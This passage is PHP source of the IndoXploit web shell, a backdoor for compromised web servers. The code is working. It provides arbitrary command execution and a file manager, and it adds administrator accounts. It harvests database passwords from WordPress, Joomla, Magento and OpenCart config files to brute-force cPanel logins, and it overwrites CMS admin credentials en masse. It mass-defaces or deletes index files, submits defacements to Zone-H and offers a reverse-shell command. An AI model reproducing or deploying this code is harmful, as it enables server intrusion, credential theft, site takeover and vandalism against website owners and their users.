  1066. }
  1067. else {
  1068. print "[add user] -> ".color(1, 1, "FAILED")."<br>";
  1069. }
  1070.  
  1071. if($add_groups1) {
  1072. print "[add localgroup Administrators] -> ".color(1, 2, "SUCCESS")."<br>";
  1073. }
  1074. elseif($add_groups2) {
  1075. print "[add localgroup Administrator] -> ".color(1, 2, "SUCCESS")."<br>";
  1076. }
  1077. elseif($add_groups3) {
  1078. print "[add localgroup Administrateur] -> ".color(1, 2, "SUCCESS")."<br>";
  1079. }
  1080. else {
  1081. print "[add localgroup] -> ".color(1, 1, "FAILED")."<br>";
  1082. }
  1083.  
  1084. print "------------------------------<br>";
  1085. }
  1086. }
  1087.  
  1088. function files_and_folder() {
  1089. if(!is_dir(path())) die(color(1, 1, "Directory '".path()."' is not exists."));
  1090. if(!is_readable(path())) die(color(1, 1, "Directory '".path()."' not readable."));
  1091. print '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  1092. <tr>
  1093. <th class="th_home"><center>Name</center></th>
  1094. <th class="th_home"><center>Type</center></th>
  1095. <th class="th_home"><center>Size</center></th>
  1096. <th class="th_home"><center>Last Modified</center></th>
  1097. <th class="th_home"><center>Owner/Group</center></th>
  1098. <th class="th_home"><center>Permission</center></th>
  1099. <th class="th_home"><center>Action</center></th>
  1100. </tr>';
  1101.  
  1102. if(function_exists('opendir')) {
  1103. if($opendir = opendir(path())) {
  1104. while(($readdir = readdir($opendir)) !== false) {
  1105. $dir[] = $readdir;
  1106. }
  1107. closedir($opendir);
  1108. }
  1109. sort($dir);
  1110. } else {
  1111. $dir = scandir(path());
  1112. }
  1113.  
  1114. foreach($dir as $folder) {
  1115. $dirinfo['path'] = path().DIRECTORY_SEPARATOR.$folder;
  1116. if(!is_dir($dirinfo['path'])) continue;
  1117. $dirinfo['type'] = filetype($dirinfo['path']);
  1118. $dirinfo['time'] = date("F d Y g:i:s", filemtime($dirinfo['path']));
  1119. $dirinfo['size'] = "-";
  1120. $dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path']));
  1121. $dirinfo['link'] = ($folder === ".." ? "<a href='?dir=".dirname(path())."'>$folder</a>" : ($folder === "." ? "<a href='?dir=".path()."'>$folder</a>" : "<a href='?dir=".$dirinfo['path']."'>$folder</a>"));
  1122. $dirinfo['action']= ($folder === '.' || $folder === '..') ? "<a href='?act=newfile&dir=".path()."'>newfile</a> | <a href='?act=newfolder&dir=".path()."'>newfolder</a>" : "<a href='?act=rename_folder&dir=".$dirinfo['path']."'>rename</a> | <a href='?act=delete_folder&dir=".$dirinfo['path']."'>delete</a>";
  1123. if(function_exists('posix_getpwuid')) {
  1124. $dirinfo['owner'] = (object) @posix_getpwuid(fileowner($dirinfo['path']));
  1125. $dirinfo['owner'] = $dirinfo['owner']->name;
  1126. } else {
  1127. $dirinfo['owner'] = fileowner($dirinfo['path']);
  1128. }
  1129. if(function_exists('posix_getgrgid')) {
  1130. $dirinfo['group'] = (object) @posix_getgrgid(filegroup($dirinfo['path']));
  1131. $dirinfo['group'] = $dirinfo['group']->name;
  1132. } else {
  1133. $dirinfo['group'] = filegroup($dirinfo['path']);
  1134. }
  1135. print "<tr>";
  1136. print "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>".$dirinfo['link']."</td>";
  1137. print "<td class='td_home' style='text-align: center;'>".$dirinfo['type']."</td>";
  1138. print "<td class='td_home' style='text-align: center;'>".$dirinfo['size']."</td>";
  1139. print "<td class='td_home' style='text-align: center;'>".$dirinfo['time']."</td>";
  1140. print "<td class='td_home' style='text-align: center;'>".$dirinfo['owner'].DIRECTORY_SEPARATOR.$dirinfo['group']."</td>";
  1141. print "<td class='td_home' style='text-align: center;'>".$dirinfo['perms']."</td>";
  1142. print "<td class='td_home' style='padding-left: 15px;'>".$dirinfo['action']."</td>";
  1143. print "</tr>";
  1144. }
  1145. foreach($dir as $files) {
  1146. $fileinfo['path'] = path().DIRECTORY_SEPARATOR.$files;
  1147. if(!is_file($fileinfo['path'])) continue;
  1148. $fileinfo['type'] = filetype($fileinfo['path']);
  1149. $fileinfo['time'] = date("F d Y g:i:s", filemtime($fileinfo['path']));
  1150. $fileinfo['size'] = filesize($fileinfo['path'])/1024;
  1151. $fileinfo['size'] = round($fileinfo['size'],3);
  1152. $fileinfo['size'] = ($fileinfo['size'] > 1024) ? round($fileinfo['size']/1024,2). "MB" : $fileinfo['size']. "KB";
  1153. $fileinfo['perms']= writeable($fileinfo['path'], perms($fileinfo['path']));
  1154. if(function_exists('posix_getpwuid')) {
  1155. $fileinfo['owner'] = (object) @posix_getpwuid(fileowner($fileinfo['path']));
  1156. $fileinfo['owner'] = $fileinfo['owner']->name;
  1157. } else {
  1158. $fileinfo['owner'] = fileowner($fileinfo['path']);
  1159. }
  1160. if(function_exists('posix_getgrgid')) {
  1161. $fileinfo['group'] = (object) @posix_getgrgid(filegroup($fileinfo['path']));
  1162. $fileinfo['group'] = $fileinfo['group']->name;
  1163. } else {
  1164. $fileinfo['group'] = filegroup($fileinfo['path']);
  1165. }
  1166. print "<tr>";
  1167. print "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=".path()."&file=".$fileinfo['path']."'>$files</a></td>";
  1168. print "<td class='td_home' style='text-align: center;'>".$fileinfo['type']."</td>";
  1169. print "<td class='td_home' style='text-align: center;'>".$fileinfo['size']."</td>";
  1170. print "<td class='td_home' style='text-align: center;'>".$fileinfo['time']."</td>";
  1171. print "<td class='td_home' style='text-align: center;'>".$fileinfo['owner'].DIRECTORY_SEPARATOR.$fileinfo['group']."</td>";
  1172. print "<td class='td_home' style='text-align: center;'>".$fileinfo['perms']."</td>";
  1173. print "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=".path()."&file=".$fileinfo['path']."'>edit</a> | <a href='?act=rename&dir=".path()."&file=".$fileinfo['path']."'>rename</a> | <a href='?act=delete&dir=".path()."&file=".$fileinfo['path']."'>delete</a> | <a href='?act=download&dir=".path()."&file=".$fileinfo['path']."'>download</a></td>";
  1174. print "</tr>";
  1175. }
  1176.  
  1177. print "</table>";
  1178. print "<center>Copyright &copy; ".date("Y")." - <a href='http://indoxploit.or.id/' target='_blank'>".color(1, 2, "IndoXploit")."</a></center>";
  1179. }
  1180.  
  1181.  
  1182. function action() {
  1183. tools("upload");
  1184. tools("cmd");
  1185. print "<hr style='margin-top: 15px; margin-bottom: 10px;'>";
  1186. print "<center>";
  1187. print "<ul>";
  1188. print "<li>[ <a href='?'>Home</a> ]</li>";
  1189. print "<li>[ <a href='?dir=".path()."&do=fakeroot'>Fake Root</a> ]</li>";
  1190. print "<li>[ <a href='?dir=".path()."&do=cpanel'>cPanel Crack</a> ]</li>";
  1191. print "<li>[ <a href='?dir=".path()."&do=mpc'>Mass Password Change</a> ]</li>";
  1192. print "<li>[ <a href='?dir=".path()."&do=mass'>Mass Deface/Delete</a> ]</li>";
  1193. print "<li>[ <a href='?dir=".path()."&do=lre'>Local Root Exploiter</a> ]</li>";
  1194. print "<li>[ <a href='?dir=".path()."&do=zoneh'>Zone-H</a> ]</li>";
  1195. print "</ul>";
  1196. print "</center>";
  1197. print "<hr style='margin-top: 15px; margin-bottom: 10px;'>";
  1198.  
  1199.  
  1200. if(isset($_GET['do'])) {
  1201. if($_GET['do'] === "cmd") {
  1202. if(isset($_POST['cmd'])) {
  1203. if(preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) {
  1204. tools("readfile", $match[1]);
  1205. }
  1206. elseif(preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) {
  1207. tools("spawn", $match[1]);
  1208. }
  1209. elseif(preg_match("/^symlink$/", $_POST['cmd'], $match)) {
  1210. tools("symlink");
  1211. }
  1212. elseif(preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) {
  1213. tools("network", $match[1]);
  1214. }
  1215. elseif(preg_match("/^krdp$/", $_POST['cmd'])) {
  1216. tools("krdp");
  1217. }
  1218. elseif(preg_match("/^jumping$/", $_POST['cmd'])) {
  1219. tools("jumping");
  1220. }
  1221. elseif(preg_match("/^idxconfig$/", $_POST['cmd'])) {
  1222. tools("idxconfig");
  1223. }
  1224. elseif(preg_match("/^logout$/", $_POST['cmd'])) {
  1225. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1226. print "<script>window.location='?';</script>";
  1227. }
  1228. elseif(preg_match("/^killme$/", $_POST['cmd'])) {
  1229. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1230. @unlink(__FILE__);
  1231. print "<script>window.location='?';</script>";
  1232. }
  1233. else {
  1234. print "<pre>".exe($_POST['cmd'])."</pre>";
  1235. }
  1236. }
  1237. else {
  1238. files_and_folder();
  1239. }
  1240. }
  1241. elseif($_GET['do'] === "zoneh") {
  1242. if(isset($_POST['submit']) AND $_GET['do'] === "zoneh") {
  1243. $nick = $_POST['nick'];
  1244. $domain = explode("\r\n", $_POST['url']);
  1245.  
  1246. print "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1247. print "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1248.  
  1249. foreach($domain as $no => $url) {
  1250. $no = ($no+1).".";
  1251. $post = curl("http://www.zone-h.org/notify/single", TRUE, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1252. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $post)) {
  1253. print "$no $url -> ".color(1, 2, "OK")."<br>";
  1254. } else {
  1255. print "$no $url -> ".color(1, 1, "ERROR")."<br>";
  1256. }
  1257. }
  1258. }
  1259. else {
  1260. print "<center><form method='post' action='?do=zoneh&dir=".path()."'>
  1261. Defacer: <br>
  1262. <input type='text' name='nick' size='50' value='IndoXploit'><br><br>
  1263. Domains: <br>
  1264. <textarea style='width: 450px; height: 150px;' name='url' placeholder='http://google.com/'></textarea><br>
  1265. <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px;' type='submit' name='submit' value='Submit'>
  1266. </form></center>";
  1267. }
  1268. }
  1269. elseif($_GET['do'] == 'cpanel') {
  1270. if($_POST['crack']) {
  1271. $usercp = explode("\r\n", $_POST['user_cp']);
  1272. $passcp = explode("\r\n", $_POST['pass_cp']);
  1273. $i = 0;
  1274. foreach($usercp as $ucp) {
  1275. foreach($passcp as $pcp) {
  1276. $connect = mysql_connect('localhost', $ucp, $pcp);
  1277. if($connect) {
  1278. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1279. } else {
  1280. $_SESSION[$ucp] = "1";
  1281. $_SESSION[$pcp] = "1";
  1282. if($ucp === '' || $pcp === '') {
  1283. //
  1284. } else {
  1285. $i++;
  1286. print "username (".color(1, 2, $ucp).") password (".color(1, 2, $pcp).") domain (";
  1287. if(!function_exists('posix_getpwuid')) print color(1, 1, "Function is Disable by System!");
  1288. if(!getdomainname()) print color(1, 1, "Can't get domain name");
  1289. foreach(getdomainname() as $domain) {
  1290. $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain"));
  1291. $userdomain = $userdomain->name;
  1292. if($userdomain === $user) {
  1293. print "<a href='http://$domain/' target='_blank'>".color(1, 2, $domain)."</a><br>";
  1294. break;
  1295. }
  1296. }
  1297. print (empty($domain)) ? color(1, 1, "Can't get domain name.") : color(1, 2, $domain);
  1298. print ")<br>";
  1299. }
  1300. }
  1301. mysql_close($connect);
  1302. }
  1303. }
  1304. }
  1305. print ($i === 0) ? "" : "<p>".color(1, 3, "Sukses nyolong $i Cpanel by IndoXploit")."</p>";
  1306. } else {
  1307. print "<center>
  1308. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1309. <form method='post'>
  1310. USER: <br>
  1311. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1312. print implode("\n", getuser());
  1313. print "</textarea><br>
  1314. PASS: <br>
  1315. <span>Grab Password from Link Config:</span><br>
  1316. <input style='width: 425px; background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='text' name='linkpass' placeholder='http://web.com/idx_config/'>
  1317. <input style='background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='submit' name='submitlink' value='>>'>
  1318. <br>
  1319. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1320.  
  1321. if(isset($_POST['submitlink'])) {
  1322. $getpass = $_POST['linkpass'];
  1323. $get = curl($_POST['linkpass']);
  1324. preg_match_all('/<a href="(.*?).txt">/', $get, $link);
  1325. foreach($link[1] as $link_config) {
  1326. $scandir[] = "$link_config.txt";
  1327. }
  1328. }
  1329. else {
  1330. $getpass = path();
  1331. $scandir = scandir($getpass);
  1332. }
  1333.  
  1334. $password = "";
  1335.  
  1336. foreach($scandir as $files) {
  1337. $file = "$getpass/$files";
  1338. $config = file_get_contents($file);
  1339. if(preg_match("/WordPress/", $config)) {
  1340. $password .= getValue($config, "DB_PASSWORD', '", "'")."\n";
  1341. }
  1342. elseif(preg_match("/JConfig|joomla/", $config)) {
  1343. $password .= getValue($config, "password = '", "'")."\n";
  1344. }
  1345. elseif(preg_match("/Magento|Mage_Core/", $config)) {
  1346. $password .= getValue($config, "<password><![CDATA[", "]]></password>")."\n";
  1347. }
  1348. elseif(preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
  1349. $password .= getValue($config, 'password = "', '"')."\n";
  1350. }
  1351. elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
  1352. $password .= getValue($config, "'DB_PASSWORD', '", "'")."\n";
  1353. }
  1354. elseif(preg_match("/^[client]$/", $config)) {
  1355. preg_match("/password=(.*?)/", $config, $pass);
  1356. if(preg_match('/"/', $pass[1])) {
  1357. $pass[1] = str_replace('"', "", $pass[1]);
  1358. $password .= $pass[1]."\n";
  1359. }
  1360. else {
  1361. $password .= $pass[1]."\n";
  1362. }
  1363. }
  1364. elseif(preg_match("/cc_encryption_hash/", $config)) {
  1365. $password .= getValue($config, "db_password = '", "'")."\n";
  1366. }
  1367. }
  1368.  
  1369. print $password;
  1370.  
  1371. print "</textarea><br>
  1372. <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px;' type='submit' name='crack' value='Crack'>
  1373. </form></center>";
  1374. }
  1375. }
  1376. elseif($_GET['do'] == 'mpc') {
  1377. if($_POST['hajar']) {
  1378. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1379. print "username atau password harus lebih dari 6 karakter";
  1380. }
  1381. else {
  1382. $user_baru = $_POST['user_baru'];
  1383. $pass_baru = md5($_POST['pass_baru']);
  1384. $conf = $_POST['config_dir'];
  1385.  
  1386. if(preg_match("/^http:\/\//", $conf) OR preg_match("/^https:\/\//", $conf)) {
  1387. $get = curl($conf);
  1388. preg_match_all('/<a href="(.*?).txt">/', $get, $link);
  1389. foreach($link[1] as $link_config) {
  1390. $scan_conf[] = "$link_config.txt";
  1391. }
  1392. }
  1393. else {
  1394. $scan_conf = scandir($conf);
  1395. }
  1396.  
  1397. foreach($scan_conf as $file_conf) {
  1398. $config = file_get_contents("$conf/$file_conf");
  1399. if(preg_match("/JConfig|joomla/",$config)) {
  1400. $dbhost = getValue($config,"host = '","'");
  1401. $dbuser = getValue($config,"user = '","'");
  1402. $dbpass = getValue($config,"password = '","'");
  1403. $dbname = getValue($config,"db = '","'");
  1404. $dbprefix = getValue($config,"dbprefix = '","'");
  1405. $prefix = $dbprefix."users";
  1406. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1407. $db = mysql_select_db($dbname);
  1408. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1409. $result = mysql_fetch_array($q);
  1410. $id = $result['id'];
  1411. $site = getValue($config,"sitename = '","'");
  1412. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  1413. print "Config => ".$file_conf."<br>";
  1414. print "CMS => Joomla<br>";
  1415. if($site == '') {
  1416. print "Sitename => ".color(1, 1, "Can't get domain name")."<br>";
  1417. }
  1418. else {
  1419. print "Sitename => $site<br>";
  1420. }
  1421. if(!$update OR !$conn OR !$db) {
  1422. print "Status => ".color(1, 1, mysql_error())."<br><br>";
  1423. }
  1424. else {
  1425. print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
  1426. }
  1427. mysql_close($conn);
  1428. } elseif(preg_match("/WordPress/",$config)) {
  1429. $dbhost = getValue($config,"DB_HOST', '","'");
  1430. $dbuser = getValue($config,"DB_USER', '","'");
  1431. $dbpass = getValue($config,"DB_PASSWORD', '","'");
  1432. $dbname = getValue($config,"DB_NAME', '","'");
  1433. $dbprefix = getValue($config,"table_prefix = '","'");
  1434. $prefix = $dbprefix."users";
  1435. $option = $dbprefix."options";
  1436. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1437. $db = mysql_select_db($dbname);
  1438. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1439. $result = mysql_fetch_array($q);
  1440. $id = $result[ID];
  1441. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1442. $result2 = mysql_fetch_array($q2);
  1443. $target = $result2[option_value];
  1444. if($target == '') {
  1445. $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
  1446. }
  1447. else {
  1448. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1449. }
  1450. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1451. print "Config => ".$file_conf."<br>";
  1452. print "CMS => Wordpress<br>";
  1453. print $url_target;
  1454. if(!$update OR !$conn OR !$db) {
  1455. print "Status => ".color(1, 1, mysql_error())."<br><br>";
  1456. }
  1457. else {
  1458. print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
  1459. }
  1460. mysql_close($conn);
  1461. }
  1462. elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1463. $dbhost = getValue($config,"<host><![CDATA[","]]></host>");
  1464. $dbuser = getValue($config,"<username><![CDATA[","]]></username>");
  1465. $dbpass = getValue($config,"<password><![CDATA[","]]></password>");
  1466. $dbname = getValue($config,"<dbname><![CDATA[","]]></dbname>");
  1467. $dbprefix = getValue($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1468. $prefix = $dbprefix."admin_user";
  1469. $option = $dbprefix."core_config_data";
  1470. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1471. $db = mysql_select_db($dbname);
  1472. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1473. $result = mysql_fetch_array($q);
  1474. $id = $result[user_id];
  1475. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1476. $result2 = mysql_fetch_array($q2);
  1477. $target = $result2[value];
  1478. if($target == '') {
  1479. $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
  1480. }
  1481. else {
  1482. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1483. }
  1484. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1485. print "Config => ".$file_conf."<br>";
  1486. print "CMS => Magento<br>";
  1487. print $url_target;
  1488. if(!$update OR !$conn OR !$db) {
  1489. print "Status => ".color(1, 1, mysql_error())."<br><br>";
  1490. }
  1491. else {
  1492. print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
  1493. }
  1494. mysql_close($conn);
  1495. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1496. $dbhost = getValue($config,"'DB_HOSTNAME', '","'");
  1497. $dbuser = getValue($config,"'DB_USERNAME', '","'");
  1498. $dbpass = getValue($config,"'DB_PASSWORD', '","'");
  1499. $dbname = getValue($config,"'DB_DATABASE', '","'");
  1500. $dbprefix = getValue($config,"'DB_PREFIX', '","'");
  1501. $prefix = $dbprefix."user";
  1502. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1503. $db = mysql_select_db($dbname);
  1504. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1505. $result = mysql_fetch_array($q);
  1506. $id = $result[user_id];
  1507. $target = getValue($config,"HTTP_SERVER', '","'");
  1508. if($target == '') {
  1509. $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
  1510. }
  1511. else {
  1512. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1513. }
  1514. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1515. print "Config => ".$file_conf."<br>";
  1516. print "CMS => OpenCart<br>";
  1517. print $url_target;
  1518. if(!$update OR !$conn OR !$db) {
  1519. print "Status => ".color(1, 1, mysql_error())."<br><br>";
  1520. }
  1521. else {
  1522. print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
  1523. }
  1524. mysql_close($conn);
  1525. }
  1526. elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1527. $dbhost = getValue($config,'server = "','"');
  1528. $dbuser = getValue($config,'username = "','"');
  1529. $dbpass = getValue($config,'password = "','"');
  1530. $dbname = getValue($config,'database = "','"');
  1531. $prefix = "users";
  1532. $option = "identitas";
  1533. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1534. $db = mysql_select_db($dbname);
  1535. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1536. $result = mysql_fetch_array($q);
  1537. $target = $result[alamat_website];
  1538. if($target == '') {
  1539. $target2 = $result[url];
  1540. $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
  1541. if($target2 == '') {
  1542. $url_target2 = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
  1543. }
  1544. else {
  1545. $cek_login3 = file_get_contents("$target2/adminweb/");
  1546. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1547. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1548. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1549. }
  1550. elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1551. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1552. }
  1553. else {
  1554. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1555. }
  1556. }
  1557. } else {
  1558. $cek_login = file_get_contents("$target/adminweb/");
  1559. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1560. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1561. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1562. }
  1563. elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1564. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1565. }
  1566. else {
  1567. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1568. }
  1569. }
  1570. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1571. print "Config => ".$file_conf."<br>";
  1572. print "CMS => Lokomedia<br>";
  1573. if(preg_match("/Can't get domain name/", $url_target)) {
  1574. print $url_target2;
  1575. }
  1576. else {
  1577. print $url_target;
  1578. }
  1579. if(!$update OR !$conn OR !$db) {
  1580. print "Status => ".color(1, 1, mysql_error())."<br><br>";
  1581. }
  1582. else {
  1583. print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
  1584. }
  1585. mysql_close($conn);
  1586. }
  1587. }
  1588. }
  1589. }
  1590. else {
  1591. print "<center>
  1592. <h1>Mass Password Change</h1>
  1593. <form method='post'>
  1594. <input type='radio' name='config_type' value='dir' checked>DIR Config<input type='radio' name='config_type' value='link'>LINK Config<br>
  1595. <input type='text' size='50' name='config_dir' value='".path()."'><br><br>
  1596. Set User & Pass: <br>
  1597. <input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br>
  1598. <input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br>
  1599. <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 215px; margin: 5px auto;' type='submit' name='hajar' value='Hajar!'>
  1600. </form></center>";
  1601. }
  1602. }
  1603. elseif($_GET['do'] === "mass") {
  1604. if($_POST['start']) {
  1605. if($_POST['mass_type'] === 'singledir') {
  1606. print "<div style='margin: 5px auto; padding: 5px'>";
  1607. massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']);
  1608. print "</div>";
  1609. }
  1610. elseif($_POST['mass_type'] === 'alldir') {
  1611. print "<div style='margin: 5px auto; padding: 5px'>";
  1612. massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir");
  1613. print "</div>";
  1614. }
  1615. elseif($_POST['mass_type'] === "delete") {
  1616. print "<div style='margin: 5px auto; padding: 5px'>";
  1617. massdelete($_POST['d_dir'], $_POST['d_file']);
  1618. print "</div>";
  1619. }
  1620. }
  1621. else {
  1622. print "<center><form method='post'>
  1623. <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  1624. <input type='radio' name='mass_type' value='singledir' checked>Mass Deface Single Directory<input type='radio' name='mass_type' value='alldir'>Mass Deface All Directory<input type='radio' name='mass_type' value='delete'>Mass Delete File<br>
  1625. <span>( kosongkan 'Index File' jika memilih Mass Delete File )</span><br><br>
  1626. <font style='text-decoration: underline;'>Folder:</font><br>
  1627. <input type='text' name='d_dir' value='".path()."' style='width: 450px;' height='10'><br><br>
  1628. <font style='text-decoration: underline;'>Filename:</font><br>
  1629. <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br><br>
  1630. <font style='text-decoration: underline;'>Index File:</font><br>
  1631. <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br>
  1632. <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='start' value='Mass'>
  1633. </form></center>";
  1634. }
  1635. }
  1636. elseif($_GET['do'] == 'fakeroot') {
  1637. ob_start();
  1638.  
  1639. $site = explode("\r\n", $_POST['url']);
  1640. $user = usergroup()->name;
  1641. $file = $_POST['file'];
  1642.  
  1643. if(!preg_match("#/home/$user/public_html#", $_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "I think this server not using shared host :("));
  1644.  
  1645.  
  1646. if($_POST['reverse']) {
  1647. if(!is_writable($_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "Directory '".$_SERVER['DOCUMENT_ROOT']."' is not writeable."));
  1648. if(!is_writable(dirname($_SERVER['DOCUMENT_ROOT']))) die(color(1, 1, "Directory '".dirname($_SERVER['DOCUMENT_ROOT'])."' is not writeable."));
  1649.  
  1650. save($_SERVER['DOCUMENT_ROOT']."/".$file, "w", $_POST['script']);
  1651. save(dirname($_SERVER['DOCUMENT_ROOT'])."/".$file, "w", $_POST['script']);
  1652.  
  1653. foreach($site as $url) {
